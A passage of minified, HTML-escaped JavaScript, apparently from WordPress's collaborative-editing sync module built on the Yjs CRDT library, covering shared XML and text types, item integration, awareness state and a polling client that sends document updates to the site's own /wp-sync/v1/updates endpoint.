t.parent===this._root?t=null:t=t.parent._item}while(t!==null&amp;&amp;(t.deleted||!this._filter(t.content.type)));return this._firstCall=!1,t===null?{value:void 0,done:!0}:(this._currentNode=t,{value:t.content.type,done:!1})}},ie=class n extends T{constructor(){super(),this._prelimContent=[]}get firstChild(){let t=this._first;return t?t.content.getContent()[0]:null}_integrate(t,e){super._integrate(t,e),this.insert(0,this._prelimContent),this._prelimContent=null}_copy(){return new n}clone(){let t=new n;return t.insert(0,this.toArray().map(e=&gt;e instanceof T?e.clone():e)),t}get length(){return this.doc??j(),this._prelimContent===null?this._length:this._prelimContent.length}createTreeWalker(t){return new nn(this,t)}querySelector(t){t=t.toUpperCase();let r=new nn(this,s=&gt;s.nodeName&amp;&amp;s.nodeName.toUpperCase()===t).next();return r.done?null:r.value}querySelectorAll(t){return t=t.toUpperCase(),it(new nn(this,e=&gt;e.nodeName&amp;&amp;e.nodeName.toUpperCase()===t))}_callObserver(t,e){Wn(this,t,new Gn(this,e,t))}toString(){return go(this,t=&gt;t.toString()).join(&quot;&quot;)}toJSON(){return this.toString()}toDOM(t=document,e={},r){let s=t.createDocumentFragment();return r!==void 0&amp;&amp;r._createAssociation(s,this),dn(this,i=&gt;{s.insertBefore(i.toDOM(t,e,r),null)}),s}insert(t,e){this.doc!==null?_(this.doc,r=&gt;{yo(r,this,t,e)}):this._prelimContent.splice(t,0,...e)}insertAfter(t,e){if(this.doc!==null)_(this.doc,r=&gt;{let s=t&amp;&amp;t instanceof T?t._item:t;Pn(r,this,s,e)});else{let r=this._prelimContent,s=t===null?0:r.findIndex(i=&gt;i===t)+1;if(s===0&amp;&amp;t!==null)throw ut(&quot;Reference item not found&quot;);r.splice(s,0,...e)}}delete(t,e=1){this.doc!==null?_(this.doc,r=&gt;{So(r,this,t,e)}):this._prelimContent.splice(t,e)}toArray(){return po(this)}push(t){this.insert(this.length,t)}unshift(t){this.insert(0,t)}get(t){return mo(this,t)}slice(t=0,e=this.length){return fo(this,t,e)}forEach(t){dn(this,t)}_write(t){t.writeTypeRef($a)}},Aa=n=&gt;new ie,oe=class n extends ie{constructor(t=&quot;UNDEFINED&quot;){super(),this.nodeName=t,this._prelimAttrs=new Map}get nextSibling(){let t=this._item?this._item.next:null;return t?t.content.type:null}get prevSibling(){let t=this._item?this._item.prev:null;return t?t.content.type:null}_integrate(t,e){super._integrate(t,e),this._prelimAttrs.forEach((r,s)=&gt;{this.setAttribute(s,r)}),this._prelimAttrs=null}_copy(){return new n(this.nodeName)}clone(){let t=new n(this.nodeName),e=this.getAttributes();return ui(e,(r,s)=&gt;{t.setAttribute(s,r)}),t.insert(0,this.toArray().map(r=&gt;r instanceof T?r.clone():r)),t}toString(){let t=this.getAttributes(),e=[],r=[];for(let c in t)r.push(c);r.sort();let s=r.length;for(let c=0;c&lt;s;c++){let l=r[c];e.push(l+&#039;=&quot;&#039;+t[l]+&#039;&quot;&#039;)}let i=this.nodeName.toLocaleLowerCase(),o=e.length&gt;0?&quot; &quot;+e.join(&quot; &quot;):&quot;&quot;;return`&lt;${i}${o}&gt;${super.toString()}&lt;/${i}&gt;`}removeAttribute(t){this.doc!==null?_(this.doc,e=&gt;{jn(e,this,t)}):this._prelimAttrs.delete(t)}setAttribute(t,e){this.doc!==null?_(this.doc,r=&gt;{ls(r,this,t,e)}):this._prelimAttrs.set(t,e)}getAttribute(t){return as(this,t)}hasAttribute(t){return bo(this,t)}getAttributes(t){return t?Eo(this,t):xo(this)}toDOM(t=document,e={},r){let s=t.createElement(this.nodeName),i=this.getAttributes();for(let o in i){let c=i[o];typeof c==&quot;string&quot;&amp;&amp;s.setAttribute(o,c)}return dn(this,o=&gt;{s.appendChild(o.toDOM(t,e,r))}),r!==void 0&amp;&amp;r._createAssociation(s,this),s}_write(t){t.writeTypeRef(Ha),t.writeKey(this.nodeName)}},Ua=n=&gt;new oe(n.readKey()),Gn=class extends ne{constructor(t,e,r){super(t,r),this.childListChanged=!1,this.attributesChanged=new Set,e.forEach(s=&gt;{s===null?this.childListChanged=!0:this.attributesChanged.add(s)})}},hn=class n extends se{constructor(t){super(),this.hookName=t}_copy(){return new n(this.hookName)}clone(){let t=new n(this.hookName);return this.forEach((e,r)=&gt;{t.set(r,e)}),t}toDOM(t=document,e={},r){let s=e[this.hookName],i;return s!==void 0?i=s.createDom(this):i=document.createElement(this.hookName),i.setAttribute(&quot;data-yjs-hook&quot;,this.hookName),r!==void 0&amp;&amp;r._createAssociation(i,this),i}_write(t){t.writeTypeRef(Ja),t.writeKey(this.hookName)}},Ia=n=&gt;new hn(n.readKey()),Hn=class n extends Le{get nextSibling(){let t=this._item?this._item.next:null;return t?t.content.type:null}get prevSibling(){let t=this._item?this._item.prev:null;return t?t.content.type:null}_copy(){return new n}clone(){let t=new n;return t.applyDelta(this.toDelta()),t}toDOM(t=document,e,r){let s=t.createTextNode(this.toString());return r!==void 0&amp;&amp;r._createAssociation(s,this),s}toString(){return this.toDelta().map(t=&gt;{let e=[];for(let s in t.attributes){let i=[];for(let o in t.attributes[s])i.push({key:o,value:t.attributes[s][o]});i.sort((o,c)=&gt;o.key&lt;c.key?-1:1),e.push({nodeName:s,attrs:i})}e.sort((s,i)=&gt;s.nodeName&lt;i.nodeName?-1:1);let r=&quot;&quot;;for(let s=0;s&lt;e.length;s++){let i=e[s];r+=`&lt;${i.nodeName}`;for(let o=0;o&lt;i.attrs.length;o++){let c=i.attrs[o];r+=` ${c.key}=&quot;${c.value}&quot;`}r+=&quot;&gt;&quot;}r+=t.insert;for(let s=e.length-1;s&gt;=0;s--)r+=`&lt;/${e[s].nodeName}&gt;`;return r}).join(&quot;&quot;)}toJSON(){return this.toString()}_write(t){t.writeTypeRef(Ka)}},Ta=n=&gt;new Hn,Ne=class{constructor(t,e){this.id=t,this.length=e}get deleted(){throw ct()}mergeWith(t){return!1}write(t,e,r){throw ct()}integrate(t,e){throw ct()}},va=0,G=class extends Ne{get deleted(){return!0}delete(){}mergeWith(t){return this.constructor!==t.constructor?!1:(this.length+=t.length,!0)}integrate(t,e){e&gt;0&amp;&amp;(this.id.clock+=e,this.length-=e),Xi(t.doc.store,this)}write(t,e){t.writeInfo(va),t.writeLen(this.length-e)}getMissing(t,e){return null}},ce=class n{constructor(t){this.content=t}getLength(){return 1}getContent(){return[this.content]}isCountable(){return!0}copy(){return new n(this.content)}splice(t){throw ct()}mergeWith(t){return!1}integrate(t,e){}delete(t){}gc(t){}write(t,e){t.writeBuf(this.content)}getRef(){return 3}},Oa=n=&gt;new ce(n.readBuf()),Me=class n{constructor(t){this.len=t}getLength(){return this.len}getContent(){return[]}isCountable(){return!1}copy(){return new n(this.len)}splice(t){let e=new n(this.len-t);return this.len=t,e}mergeWith(t){return this.len+=t.len,!0}integrate(t,e){sn(t.deleteSet,e.id.client,e.id.clock,this.len),e.markDeleted()}delete(t){}gc(t){}write(t,e){t.writeLen(this.len-e)}getRef(){return 1}},La=n=&gt;new Me(n.readLen()),Uo=(n,t)=&gt;new mt({guid:n,...t,shouldLoad:t.shouldLoad||t.autoLoad||!1}),le=class n{constructor(t){t._item&amp;&amp;console.error(&quot;This document was already integrated as a sub-document. You should create a second instance instead with the same guid.&quot;),this.doc=t;let e={};this.opts=e,t.gc||(e.gc=!1),t.autoLoad&amp;&amp;(e.autoLoad=!0),t.meta!==null&amp;&amp;(e.meta=t.meta)}getLength(){return 1}getContent(){return[this.doc]}isCountable(){return!0}copy(){return new n(Uo(this.doc.guid,this.opts))}splice(t){throw ct()}mergeWith(t){return!1}integrate(t,e){this.doc._item=e,t.subdocsAdded.add(this.doc),this.doc.shouldLoad&amp;&amp;t.subdocsLoaded.add(this.doc)}delete(t){t.subdocsAdded.has(this.doc)?t.subdocsAdded.delete(this.doc):t.subdocsRemoved.add(this.doc)}gc(t){}write(t,e){t.writeString(this.doc.guid),t.writeAny(this.opts)}getRef(){return 9}},Na=n=&gt;new le(Uo(n.readString(),n.readAny())),_t=class n{constructor(t){this.embed=t}getLength(){return 1}getContent(){return[this.embed]}isCountable(){return!0}copy(){return new n(this.embed)}splice(t){throw ct()}mergeWith(t){return!1}integrate(t,e){}delete(t){}gc(t){}write(t,e){t.writeJSON(this.embed)}getRef(){return 5}},Ma=n=&gt;new _t(n.readJSON()),v=class n{constructor(t,e){this.key=t,this.value=e}getLength(){return 1}getContent(){return[]}isCountable(){return!1}copy(){return new n(this.key,this.value)}splice(t){throw ct()}mergeWith(t){return!1}integrate(t,e){let r=e.parent;r._searchMarker=null,r._hasFormatting=!0}delete(t){}gc(t){}write(t,e){t.writeKey(this.key),t.writeJSON(this.value)}getRef(){return 6}},Ra=n=&gt;new v(n.readKey(),n.readJSON()),fn=class n{constructor(t){this.arr=t}getLength(){return this.arr.length}getContent(){return this.arr}isCountable(){return!0}copy(){return new n(this.arr)}splice(t){let e=new n(this.arr.slice(t));return this.arr=this.arr.slice(0,t),e}mergeWith(t){return this.arr=this.arr.concat(t.arr),!0}integrate(t,e){}delete(t){}gc(t){}write(t,e){let r=this.arr.length;t.writeLen(r-e);for(let s=e;s&lt;r;s++){let i=this.arr[s];t.writeString(i===void 0?&quot;undefined&quot;:JSON.stringify(i))}}getRef(){return 2}},Va=n=&gt;{let t=n.readLen(),e=[];for(let r=0;r&lt;t;r++){let s=n.readString();s===&quot;undefined&quot;?e.push(void 0):e.push(JSON.parse(s))}return new fn(e)},Ba=Qe(&quot;node_env&quot;)===&quot;development&quot;,Rt=class n{constructor(t){this.arr=t,Ba&amp;&amp;Cr(t)}getLength(){return this.arr.length}getContent(){return this.arr}isCountable(){return!0}copy(){return new n(this.arr)}splice(t){let e=new n(this.arr.slice(t));return this.arr=this.arr.slice(0,t),e}mergeWith(t){return this.arr=this.arr.concat(t.arr),!0}integrate(t,e){}delete(t){}gc(t){}write(t,e){let r=this.arr.length;t.writeLen(r-e);for(let s=e;s&lt;r;s++){let i=this.arr[s];t.writeAny(i)}}getRef(){return 8}},Pa=n=&gt;{let t=n.readLen(),e=[];for(let r=0;r&lt;t;r++)e.push(n.readAny());return new Rt(e)},lt=class n{constructor(t){this.str=t}getLength(){return this.str.length}getContent(){return this.str.split(&quot;&quot;)}isCountable(){return!0}copy(){return new n(this.str)}splice(t){let e=new n(this.str.slice(t));this.str=this.str.slice(0,t);let r=this.str.charCodeAt(t-1);return r&gt;=55296&amp;&amp;r&lt;=56319&amp;&amp;(this.str=this.str.slice(0,t-1)+&quot;\uFFFD&quot;,e.str=&quot;\uFFFD&quot;+e.str.slice(1)),e}mergeWith(t){return this.str+=t.str,!0}integrate(t,e){}delete(t){}gc(t){}write(t,e){t.writeString(e===0?this.str:this.str.slice(e))}getRef(){return 4}},ja=n=&gt;new lt(n.readString()),Fa=[Ea,ka,Da,Ua,Aa,Ia,Ta],Ya=0,za=1,Ga=2,Ha=3,$a=4,Ja=5,Ka=6,nt=class n{constructor(t){this.type=t}getLength(){return 1}getContent(){return[this.type]}isCountable(){return!0}copy(){return new n(this.type._copy())}splice(t){throw ct()}mergeWith(t){return!1}integrate(t,e){this.type._integrate(t.doc,e)}delete(t){let e=this.type._start;for(;e!==null;)e.deleted?e.id.clock&lt;(t.beforeState.get(e.id.client)||0)&amp;&amp;t._mergeStructs.push(e):e.delete(t),e=e.right;this.type._map.forEach(r=&gt;{r.deleted?r.id.clock&lt;(t.beforeState.get(r.id.client)||0)&amp;&amp;t._mergeStructs.push(r):r.delete(t)}),t.changed.delete(this.type)}gc(t){let e=this.type._start;for(;e!==null;)e.gc(t,!0),e=e.right;this.type._start=null,this.type._map.forEach(r=&gt;{for(;r!==null;)r.gc(t,!0),r=r.left}),this.type._map=new Map}write(t,e){this.type._write(t)}getRef(){return 7}},qa=n=&gt;new nt(Fa[n.readTypeRef()](n)),$r=(n,t)=&gt;{let e=t,r=0,s;do r&gt;0&amp;&amp;(e=x(e.client,e.clock+r)),s=Wt(n,e),r=e.clock-s.id.clock,e=s.redone;while(e!==null&amp;&amp;s instanceof C);return{item:s,diff:r}},ds=(n,t)=&gt;{for(;n!==null&amp;&amp;n.keep!==t;)n.keep=t,n=n.parent._item},$n=(n,t,e)=&gt;{let{client:r,clock:s}=t.id,i=new C(x(r,s+e),t,x(r,s+e-1),t.right,t.rightOrigin,t.parent,t.parentSub,t.content.splice(e));return t.deleted&amp;&amp;i.markDeleted(),t.keep&amp;&amp;(i.keep=!0),t.redone!==null&amp;&amp;(i.redone=x(t.redone.client,t.redone.clock+e)),t.right=i,i.right!==null&amp;&amp;(i.right.left=i),n._mergeStructs.push(i),i.parentSub!==null&amp;&amp;i.right===null&amp;&amp;i.parent._map.set(i.parentSub,i),t.length=e,i},Gi=(n,t)=&gt;Gs(n,e=&gt;ae(e.deletions,t)),Io=(n,t,e,r,s,i)=&gt;{let o=n.doc,c=o.store,l=o.clientID,a=t.redone;if(a!==null)return z(n,a);let d=t.parent._item,u=null,h;if(d!==null&amp;&amp;d.deleted===!0){if(d.redone===null&amp;&amp;(!e.has(d)||Io(n,d,e,r,s,i)===null))return null;for(;d.redone!==null;)d=z(n,d.redone)}let f=d===null?t.parent:d.content.type;if(t.parentSub===null){for(u=t.left,h=t;u!==null;){let w=u;for(;w!==null&amp;&amp;w.parent._item!==d;)w=w.redone===null?null:z(n,w.redone);if(w!==null&amp;&amp;w.parent._item===d){u=w;break}u=u.left}for(;h!==null;){let w=h;for(;w!==null&amp;&amp;w.parent._item!==d;)w=w.redone===null?null:z(n,w.redone);if(w!==null&amp;&amp;w.parent._item===d){h=w;break}h=h.right}}else if(h=null,t.right&amp;&amp;!s){for(u=t;u!==null&amp;&amp;u.right!==null&amp;&amp;(u.right.redone||ae(r,u.right.id)||Gi(i.undoStack,u.right.id)||Gi(i.redoStack,u.right.id));)for(u=u.right;u.redone;)u=z(n,u.redone);if(u&amp;&amp;u.right!==null)return null}else u=f._map.get(t.parentSub)||null;let p=A(c,l),g=x(l,p),m=new C(g,u,u&amp;&amp;u.lastId,h,h&amp;&amp;h.id,f,t.parentSub,t.content.copy());return t.redone=g,ds(m,!0),m.integrate(n,0),m},C=class n extends Ne{constructor(t,e,r,s,i,o,c,l){super(t,l.getLength()),this.origin=r,this.left=e,this.right=s,this.rightOrigin=i,this.parent=o,this.parentSub=c,this.redone=null,this.content=l,this.info=this.content.isCountable()?2:0}set marker(t){(this.info&amp;8)&gt;0!==t&amp;&amp;(this.info^=8)}get marker(){return(this.info&amp;8)&gt;0}get keep(){return(this.info&amp;1)&gt;0}set keep(t){this.keep!==t&amp;&amp;(this.info^=1)}get countable(){return(this.info&amp;2)&gt;0}get deleted(){return(this.info&amp;4)&gt;0}set deleted(t){this.deleted!==t&amp;&amp;(this.info^=4)}markDeleted(){this.info|=4}getMissing(t,e){if(this.origin&amp;&amp;this.origin.client!==this.id.client&amp;&amp;this.origin.clock&gt;=A(e,this.origin.client))return this.origin.client;if(this.rightOrigin&amp;&amp;this.rightOrigin.client!==this.id.client&amp;&amp;this.rightOrigin.clock&gt;=A(e,this.rightOrigin.client))return this.rightOrigin.client;if(this.parent&amp;&amp;this.parent.constructor===Et&amp;&amp;this.id.client!==this.parent.client&amp;&amp;this.parent.clock&gt;=A(e,this.parent.client))return this.parent.client;if(this.origin&amp;&amp;(this.left=zr(t,e,this.origin),this.origin=this.left.lastId),this.rightOrigin&amp;&amp;(this.right=z(t,this.rightOrigin),this.rightOrigin=this.right.id),this.left&amp;&amp;this.left.constructor===G||this.right&amp;&amp;this.right.constructor===G)this.parent=null;else if(!this.parent)this.left&amp;&amp;this.left.constructor===n?(this.parent=this.left.parent,this.parentSub=this.left.parentSub):this.right&amp;&amp;this.right.constructor===n&amp;&amp;(this.parent=this.right.parent,this.parentSub=this.right.parentSub);else if(this.parent.constructor===Et){let r=Wt(e,this.parent);r.constructor===G?this.parent=null:this.parent=r.content.type}return null}integrate(t,e){if(e&gt;0&amp;&amp;(this.id.clock+=e,this.left=zr(t,t.doc.store,x(this.id.client,this.id.clock-1)),this.origin=this.left.lastId,this.content=this.content.splice(e),this.length-=e),this.parent){if(!this.left&amp;&amp;(!this.right||this.right.left!==null)||this.left&amp;&amp;this.left.right!==this.right){let r=this.left,s;if(r!==null)s=r.right;else if(this.parentSub!==null)for(s=this.parent._map.get(this.parentSub)||null;s!==null&amp;&amp;s.left!==null;)s=s.left;else s=this.parent._start;let i=new Set,o=new Set;for(;s!==null&amp;&amp;s!==this.right;){if(o.add(s),i.add(s),qt(this.origin,s.origin)){if(s.id.client&lt;this.id.client)r=s,i.clear();else if(qt(this.rightOrigin,s.rightOrigin))break}else if(s.origin!==null&amp;&amp;o.has(Wt(t.doc.store,s.origin)))i.has(Wt(t.doc.store,s.origin))||(r=s,i.clear());else break;s=s.right}this.left=r}if(this.left!==null){let r=this.left.right;this.right=r,this.left.right=this}else{let r;if(this.parentSub!==null)for(r=this.parent._map.get(this.parentSub)||null;r!==null&amp;&amp;r.left!==null;)r=r.left;else r=this.parent._start,this.parent._start=this;this.right=r}this.right!==null?this.right.left=this:this.parentSub!==null&amp;&amp;(this.parent._map.set(this.parentSub,this),this.left!==null&amp;&amp;this.left.delete(t)),this.parentSub===null&amp;&amp;this.countable&amp;&amp;!this.deleted&amp;&amp;(this.parent._length+=this.length),Xi(t.doc.store,this),this.content.integrate(t,this),Vi(t,this.parent,this.parentSub),(this.parent._item!==null&amp;&amp;this.parent._item.deleted||this.parentSub!==null&amp;&amp;this.right!==null)&amp;&amp;this.delete(t)}else new G(this.id,this.length).integrate(t,0)}get next(){let t=this.right;for(;t!==null&amp;&amp;t.deleted;)t=t.right;return t}get prev(){let t=this.left;for(;t!==null&amp;&amp;t.deleted;)t=t.left;return t}get lastId(){return this.length===1?this.id:x(this.id.client,this.id.clock+this.length-1)}mergeWith(t){if(this.constructor===t.constructor&amp;&amp;qt(t.origin,this.lastId)&amp;&amp;this.right===t&amp;&amp;qt(this.rightOrigin,t.rightOrigin)&amp;&amp;this.id.client===t.id.client&amp;&amp;this.id.clock+this.length===t.id.clock&amp;&amp;this.deleted===t.deleted&amp;&amp;this.redone===null&amp;&amp;t.redone===null&amp;&amp;this.content.constructor===t.content.constructor&amp;&amp;this.content.mergeWith(t.content)){let e=this.parent._searchMarker;return e&amp;&amp;e.forEach(r=&gt;{r.p===t&amp;&amp;(r.p=this,!this.deleted&amp;&amp;this.countable&amp;&amp;(r.index-=this.length))}),t.keep&amp;&amp;(this.keep=!0),this.right=t.right,this.right!==null&amp;&amp;(this.right.left=this),this.length+=t.length,!0}return!1}delete(t){if(!this.deleted){let e=this.parent;this.countable&amp;&amp;this.parentSub===null&amp;&amp;(e._length-=this.length),this.markDeleted(),sn(t.deleteSet,this.id.client,this.id.clock,this.length),Vi(t,e,this.parentSub),this.content.delete(t)}}gc(t,e){if(!this.deleted)throw $();this.content.gc(t),e?na(t,this,new G(this.id,this.length)):this.content=new Me(this.length)}write(t,e){let r=e&gt;0?x(this.id.client,this.id.clock+e-1):this.origin,s=this.rightOrigin,i=this.parentSub,o=this.content.getRef()&amp;31|(r===null?0:128)|(s===null?0:64)|(i===null?0:32);if(t.writeInfo(o),r!==null&amp;&amp;t.writeLeftID(r),s!==null&amp;&amp;t.writeRightID(s),r===null&amp;&amp;s===null){let c=this.parent;if(c._item!==void 0){let l=c._item;if(l===null){let a=rs(c);t.writeParentInfo(!0),t.writeString(a)}else t.writeParentInfo(!1),t.writeLeftID(l.id)}else c.constructor===String?(t.writeParentInfo(!0),t.writeString(c)):c.constructor===Et?(t.writeParentInfo(!1),t.writeLeftID(c)):$();i!==null&amp;&amp;t.writeString(i)}this.content.write(t,e)}},To=(n,t)=&gt;Wa[t&amp;31](n),Wa=[()=&gt;{$()},La,Va,Oa,ja,Ma,Ra,qa,Pa,Na,()=&gt;{$()}],Xa=10,P=class extends Ne{get deleted(){return!0}delete(){}mergeWith(t){return this.constructor!==t.constructor?!1:(this.length+=t.length,!0)}integrate(t,e){$()}write(t,e){t.writeInfo(Xa),S(t.restEncoder,this.length-e)}getMissing(t,e){return null}},vo=typeof globalThis&lt;&quot;u&quot;?globalThis:typeof window&lt;&quot;u&quot;?window:typeof global&lt;&quot;u&quot;?global:{},Oo=&quot;__ $YJS$ __&quot;;vo[Oo]===!0&amp;&amp;console.error(&quot;Yjs was already imported. This breaks constructor checks and will lead to issues! - https://github.com/yjs/yjs/issues/438&quot;);vo[Oo]=!0;var us=3e4,Ve=class extends we{constructor(t){super(),this.doc=t,this.clientID=t.clientID,this.states=new Map,this.meta=new Map,this._checkInterval=setInterval(()=&gt;{let e=Tt();this.getLocalState()!==null&amp;&amp;us/2&lt;=e-this.meta.get(this.clientID).lastUpdated&amp;&amp;this.setLocalState(this.getLocalState());let r=[];this.meta.forEach((s,i)=&gt;{i!==this.clientID&amp;&amp;us&lt;=e-s.lastUpdated&amp;&amp;this.states.has(i)&amp;&amp;r.push(i)}),r.length&gt;0&amp;&amp;hs(this,r,&quot;timeout&quot;)},W(us/10)),t.on(&quot;destroy&quot;,()=&gt;{this.destroy()}),this.setLocalState({})}destroy(){this.emit(&quot;destroy&quot;,[this]),this.setLocalState(null),super.destroy(),clearInterval(this._checkInterval)}getLocalState(){return this.states.get(this.clientID)||null}setLocalState(t){let e=this.clientID,r=this.meta.get(e),s=r===void 0?0:r.clock+1,i=this.states.get(e);t===null?this.states.delete(e):this.states.set(e,t),this.meta.set(e,{clock:s,lastUpdated:Tt()});let o=[],c=[],l=[],a=[];t===null?a.push(e):i==null?t!=null&amp;&amp;o.push(e):(c.push(e),We(i,t)||l.push(e)),(o.length&gt;0||l.length&gt;0||a.length&gt;0)&amp;&amp;this.emit(&quot;change&quot;,[{added:o,updated:l,removed:a},&quot;local&quot;]),this.emit(&quot;update&quot;,[{added:o,updated:c,removed:a},&quot;local&quot;])}setLocalStateField(t,e){let r=this.getLocalState();r!==null&amp;&amp;this.setLocalState({...r,[t]:e})}getStates(){return this.states}},hs=(n,t,e)=&gt;{let r=[];for(let s=0;s&lt;t.length;s++){let i=t[s];if(n.states.has(i)){if(n.states.delete(i),i===n.clientID){let o=n.meta.get(i);n.meta.set(i,{clock:o.clock+1,lastUpdated:Tt()})}r.push(i)}}r.length&gt;0&amp;&amp;(n.emit(&quot;change&quot;,[{added:[],updated:[],removed:r},e]),n.emit(&quot;update&quot;,[{added:[],updated:[],removed:r},e]))};var Lo=1,Xn=&quot;fromPersistence&quot;,Qn=&quot;document&quot;,Be=&quot;state&quot;,de=&quot;savedAt&quot;,No=&quot;savedBy&quot;,Mo=&quot;version&quot;,Zn=&quot;gutenberg&quot;,fs=&quot;syncManager&quot;,Ro=&quot;gutenberg-undo-ignored&quot;;var Pe=(n=&gt;(n.AUTHENTICATION_FAILED=&quot;authentication-failed&quot;,n.CONNECTION_EXPIRED=&quot;connection-expired&quot;,n.CONNECTION_LIMIT_EXCEEDED=&quot;connection-limit-exceeded&quot;,n.DOCUMENT_SIZE_LIMIT_EXCEEDED=&quot;document-size-limit-exceeded&quot;,n.UNKNOWN_ERROR=&quot;unknown-error&quot;,n))(Pe||{}),ps=class extends Error{constructor(n=&quot;unknown-error&quot;,t){super(t),this.code=n,this.name=&quot;ConnectionError&quot;}};var Po=Yt(Bo(),1),{lock:jo,unlock:au}=(0,Po.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/sync&quot;);function Fo(n){return function(...t){let e=performance.now(),r=n.apply(this,t),s=performance.now();return console.log(`[SyncManager][performance]: ${n.name} took ${(s-e).toFixed(2)} ms`),r}}function Yo(n){return((...t)=&gt;n(...t))}function zo(n){return function(...t){setTimeout(()=&gt;{n.apply(this,t)},0)}}var ac=Yt(tr(),1);var sc=Yt(tr(),1);var Ho=0,$o=1,Qa=2,Jo=(n,t)=&gt;{S(n,Ho);let e=ns(t);V(n,e)},Za=(n,t,e)=&gt;{S(n,$o),V(n,Zr(t,e))},td=(n,t,e)=&gt;Za(t,e,B(n)),Ko=(n,t,e,r)=&gt;{try{Qr(t,B(n),e)}catch(s){r?.(s),console.error(&quot;Caught error while handling a Yjs update&quot;,s)}};var ed=Ko,gs=(n,t,e,r,s)=&gt;{let i=b(n);switch(i){case Ho:td(n,t,e);break;case $o:Ko(n,e,r,s);break;case Qa:ed(n,e,r,s);break;default:throw new Error(&quot;Unknown message type&quot;)}return i};var ms=Yt(tr(),1),ws=3,qo=30*1e3,ys=1*1024*1024,er=(0,ms.applyFilters)(&quot;sync.pollingManager.pollingInterval&quot;,4e3),Wo=(0,ms.applyFilters)(&quot;sync.pollingManager.pollingIntervalWithCollaborators&quot;,1e3),Xo=25*1e3;var K=(n=&gt;(n.COMPACTION=&quot;compaction&quot;,n.SYNC_STEP_1=&quot;sync_step1&quot;,n.SYNC_STEP_2=&quot;sync_step2&quot;,n.UPDATE=&quot;update&quot;,n))(K||{});var Ss=Yt(Zo(),1);var tc=&quot;/wp-sync/v1/updates&quot;;function rd(n){let t=&quot;&quot;,e=n.byteLength;for(let r=0;r&lt;e;r++)t+=String.fromCharCode(n[r]);return globalThis.btoa(t)}function xs(n){let t=globalThis.atob(n),e=t.length,r=new Uint8Array(e);for(let s=0;s&lt;e;s++)r[s]=t.charCodeAt(s);return r}function je(n,t){return{data:rd(n),type:t}}function ec(n=[],t=!0){let e=t,r=[...n];return{add(s){r.push(s)},addBulk(s){s.length!==0&amp;&amp;r.push(...s)},clear(){r.splice(0,r.length)},get(){return e?[]:r.splice(0,r.length)},pause(){e=!0},restore(s){let i=s.filter(o=&gt;o.type!==K.COMPACTION);i.length!==0&amp;&amp;r.unshift(...i)},resume(){e=!1},size(){return r.length}}}async function nc(n){let t=await(0,Ss.default)({body:JSON.stringify(n),headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},method:&quot;POST&quot;,parse:!1,path:tc});if(!t.ok)throw new Error(`Sync update failed with status ${t.status}`);return await t.json()}function bs(n){n.rooms.length!==0&amp;&amp;(0,Ss.default)({body:JSON.stringify(n),headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},keepalive:!0,method:&quot;POST&quot;,parse:!1,path:tc}).catch(()=&gt;{})}function rc(n,t){let e=parseInt(String(n),10);return isNaN(e)?t:e}var mn=&quot;polling-manager&quot;,R=new Map;function sd(n){let t=n.filter(e=&gt;[K.COMPACTION,K.UPDATE].includes(e.type)).map(e=&gt;xs(e.data));return je(ee(t),K.COMPACTION)}function id(n){let t=ot();return Jo(t,n),je(Y(t),K.SYNC_STEP_1)}function od(n,t){let e=O(t),r=ot();return gs(e,r,n,mn),je(Y(r),K.SYNC_STEP_2)}function cd(n,t){let e=t.getStates(),r=new Set,s=new Set,i=new Set(Array.from(e.keys()).filter(o=&gt;!n[o]));Object.entries(n).forEach(([o,c])=&gt;{let l=Number(o);if(l===t.clientID)return;if(c===null){e.delete(l),i.add(l);return}if(!e.has(l)){e.set(l,c),r.add(l);return}let a=e.get(l);JSON.stringify(a)!==JSON.stringify(c)&amp;&amp;(e.set(l,c),s.add(l))}),r.size+s.size&gt;0&amp;&amp;t.emit(&quot;change&quot;,[{added:Array.from(r),updated:Array.from(s),removed:[]}]),i.size&gt;0&amp;&amp;hs(t,Array.from(i),mn)}function ld(n,t,e){let r=xs(n.data);switch(n.type){case K.SYNC_STEP_1:return od(t,r);case K.SYNC_STEP_2:{let s=O(r),i=ot();gs(s,i,t,mn),e();return}case K.COMPACTION:case K.UPDATE:St(t,r,mn)}}function ad(n,t){if(!t.isPrimaryRoom||ks)return!1;ks=!0;let e=(0,sc.applyFilters)(&quot;sync.pollingProvider.maxClientsPerRoom&quot;,ws,t.room),r=Object.keys(n).length,s=rc(e,ws);return r&gt;s?(t.log(&quot;Connection limit exceeded&quot;,{clientCount:r,maxClientsPerRoom:s,room:t.room}),!0):!1}var nr=!1,ks=!1,Es=!1,gn=document.visibilityState===&quot;visible&quot;,_s=!1,Cs=!1,Ct=er,Pt=null;function ic(){Cs=!0}function oc(){let n=Array.from(R.entries()).map(([t,e])=&gt;({after:0,awareness:null,client_id:e.clientId,room:t,updates:[]}));bs({rooms:n})}function cc(){let n=gn;gn=document.visibilityState===&quot;visible&quot;,gn&amp;&amp;!n&amp;&amp;Pt&amp;&amp;(clearTimeout(Pt),Pt=null,rr())}function rr(){_s=!0,Pt=null;async function n(){if(R.size===0){_s=!1;return}Cs=!1,R.forEach(e=&gt;{e.onStatusChange({status:&quot;connecting&quot;})});let t={rooms:Array.from(R.entries()).map(([e,r])=&gt;({after:r.endCursor??0,awareness:r.localAwarenessState,client_id:r.clientId,room:e,updates:r.updateQueue.get()}))};try{let{rooms:e}=await nc(t);R.forEach(r=&gt;{r.onStatusChange({status:&quot;connected&quot;})}),Es=!1,e.forEach(r=&gt;{if(!R.has(r.room))return;let s=R.get(r.room);if(s.endCursor=r.end_cursor,ad(r.awareness,s)){s.onStatusChange({status:&quot;disconnected&quot;,error:new ps(Pe.CONNECTION_LIMIT_EXCEEDED,&quot;Connection limit exceeded&quot;)}),Ds(r.room);return}s.processAwarenessUpdate(r.awareness),s.isPrimaryRoom&amp;&amp;Object.keys(r.awareness).length&gt;1&amp;&amp;(Es=!0,R.forEach(o=&gt;{o.updateQueue.resume()}));let i=[];for(let o of r.updates)try{let c=s.processDocUpdate(o);c&amp;&amp;i.push(c)}catch(c){s.log(&quot;Failed to apply sync update&quot;,{error:c,update:o},&quot;error&quot;,!0)}s.updateQueue.addBulk(i),r.should_compact?(s.log(&quot;Server requested compaction update&quot;),s.updateQueue.clear(),s.updateQueue.add(s.createCompactionUpdate())):r.compaction_request&amp;&amp;(s.log(&quot;Server requested (old) compaction 